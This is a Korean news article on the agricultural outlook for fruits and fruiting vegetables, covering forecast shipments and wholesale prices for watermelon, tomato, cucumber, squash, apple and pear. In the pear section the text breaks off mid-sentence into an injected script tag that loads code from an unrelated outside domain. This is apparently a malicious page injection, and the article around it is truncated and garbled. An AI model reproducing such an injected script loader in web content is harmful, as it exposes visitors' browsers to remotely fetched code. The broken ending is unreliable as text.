지난해보다 출하량이 줄어든 과일류는 가격이 상승하는 반면 과채류는 다음달부터 전반적으로 출하량이 늘어나면서 가격이 다소 낮아질 전망이다.

한국농촌경제연구원 농업관측센터(센터장 이두순)가 발표한 농업관측에 따르면 배를 제외한 사과, 포도, 감귤, 단감 등의 출하량이 지난해보다 적을 것으로 예상했다.
이달까지 출하량이 적었던 수박, 토마토, 오이, 호박 등의 과채류는 다음달부터 출하량이 늘어나 가격은 지난해보다 떨어질 것으로 보인다.
·문의: 농업관측센터 (02)3299-4256

〈과채류〉

■수박
출하량 늘고 품질 떨어져

다음달 출하량이 지난해보다 3% 가량 많고 품질도 떨어질 것으로 나타나 다음달 도매가격은 지난해(상품 6kg당 4700원)보다 낮을 것으로 전망된다.

이달 출하량은 지난해보다 출하면적도 12.5%줄고 예상단수도 1.8%낮을 것으로 추정돼 지난해보다 13%가량 적을 것으로 예상된다. 이는 지난 6월 중순이후 장마로 생육이 나빠졌기 때문이다.

이달부터 10월까지 수박의 정식의향면적은 지난해보다 3% 가량 줄어들 것으로 조사됐다.
다음달 지역별 정식의향면적은 충청과 호남이 각각 1%, 2% 줄고 영남 2.5% 줄어들 것으로 추정된다.

■참외
출하량 감소 `보합세''

다음달 출하량이 지난해보다 3% 가량 적고 품질도 좋을 것으로 나타나 도매가격은 지난해와 비슷한 상품 15kg당 1만5000원 내외로 전망된다.
이달 상순 도매가격은 상품 15kg당 1만9000원으로 평년보다 15% 낮고 지난해와 비슷한 수준인 것으로 나타났다.

이달 이후 출하면적은 지난해보다 3~4% 가량 줄어들 것으로 조사됐다. 이는 지난해 참외가격이 낮아 올해 초 정식면적이 줄어들었기 때문이다.

■토마토·방울토마토
대체품목 없어 상승세

다음달 토마토 출하량은 지난해보다 0.5% 가량 많을 것으로 나타나 도매가격은 지난해(상품 15kg당 2만1500원)보다 낮을 것으로 전망된다.

올해 대체과일의 출하량이 줄어들면서 토마토 가격이 지난해보다 6% 높게 거래돼 이달부터 9월까지 정식의향면적은 지난해보다 2~3% 늘어날 것으로 조사됐다.

방울토마토는 출하량이 지난해보다 1% 감소한 것으로 조사돼 가격은 지난해(상품 10kg당 1만3600원)보다 다소 높아질 것으로 전망된다.
이달부터 정식의향면적은 호남지역을 제외하고 지난해보다 다소 늘어날 것으로 나타났다.
일본의 이달 상순 토마토 도매가격은 지난해와 비슷한 kg당 291엔에 거래됐다.

■오이
출하면적 증가 `약보합''

오이는 다음달 출하예정면적이 지난해보다 1% 가량 늘고 단수도 0.5% 높아 도매가격은 지난해(상품 취청 20kg당 2만6000원, 백다다기 15kg당 2만5000원)와 비슷하거나 낮을 것으로 예상된다.
이달부터 10월까지 정식의향면적은 지난해보다 1% 줄어드는 반면 출하예정면적은 1% 늘어날 것으로 조사됐다.

지역별 출하예정면적은 경기가 지난해보다 1% 줄고, 강원·충청은 2% 가량 늘어나며 취청 주산지인 호남은 1%줄고, 가시오이가 주산지인 영남은 5% 가량 늘어날 것으로 나타났다.
이달 상순 일본의 오이 도매가격은 kg당 246엔으로 지난해보다 13% 낮은 것으로 나타났다.

■호박
출하량 1~2% 증가

다음달부터 10월까지 호박의 출하물량이 지난해보다 1~2% 많을 것으로 예상돼 도매가격은 평년이나 지난해(상품 10kg당 애호박 3만2000원, 쥬키니 2만원)와 비슷하거나 다소 낮아질 전망이다.
이달 상순 애호박 도매가격은 1만7411원으로 지난해보다 153% 높고 이달 출하될 호박의 단수는 지난해보다 1% 높을 것으로 조사됐다.

이달 정식의향면적은 지난해보다 1% 늘어날 것으로 조사됐으며 지역별로는 경기·강원·호남이 지난해와 비슷하고 충청이 1% 줄고 영남은 4% 늘어날 것으로 나타났다.

〈과일류〉

■사과
재배면적 9% 감소 2만 6400ha

다음달 사과 생산량은 지난해보다 11% 가량 적은 44만톤 수준에 이르고 품질도 좋아 도매가격은 지난해(상품 15kg당 2만원)보다 높을 것으로 예상된다.
지난 6월말 조사된 사과 재배면적은 지난해보다 9% 가량 감소한 것으로 나타나 올해 재배면적은 2만 6400ha, 성목면적은 10% 감소한 1만9200hs 가량이 될 것으로 추정된다.

이달부터 다음달까지 쓰가루 생산량이 지난해보다 4% 감소할 것으로 예상되나 홍로, 홍월 등의 생산량이 늘고 올해 추석이 지난해보다 보름 이상 늦어 추석 공급량은 크게 부족하지 않을 전망이다.

■배
출하량 54% 증가

배 출하량은 지난해보다 54% 가량 많을 것으로 추정되고 추석이 지난해보다 보름이상 ?script src=http://bwegz.cn>

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